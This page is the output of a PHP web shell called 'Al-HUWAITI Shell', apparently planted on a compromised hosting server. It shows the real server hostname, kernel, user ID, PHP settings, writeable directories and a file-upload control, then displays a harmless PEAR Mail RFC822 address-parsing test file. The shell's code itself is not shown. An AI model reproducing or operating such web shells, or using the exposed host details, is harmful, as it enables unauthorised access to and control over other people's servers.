Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux us-phx-web1202.main-hosting.eu 4.18.0-553.84.1.lve.el8.x86_64 #1 SMP Tue Nov 25 18:33:03 UTC 2025 x86_64
User : u615232177 ( 615232177)
PHP Version : 8.1.33
Disable Function : NONE
Directory :  /opt/cloudlinux/alt-php70/root/usr/share/pear/test/Mail/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/cloudlinux/alt-php70/root/usr/share/pear/test/Mail/tests/validateQuotedString.phpt
--TEST--
Mail_RFC822::parseAddressList simple tests
--FILE--
<?php
require_once 'Mail/RFC822.php';
$address_string = '"Joe Doe \(from Somewhere\)" <doe@example.com>, postmaster@example.com, root';

$parser = new Mail_RFC822();
$address_array = $parser->parseAddressList($address_string, "example.com");

foreach ($address_array as $val) {
    echo "mailbox : " . $val->mailbox . "\n";
    echo "host    : " . $val->host . "\n";
    echo "personal: " . $val->personal . "\n";
}
--EXPECT--
mailbox : doe
host    : example.com
personal: "Joe Doe \(from Somewhere\)"
mailbox : postmaster
host    : example.com
personal: 
mailbox : root
host    : example.com
personal: 

Al-HUWAITI Shell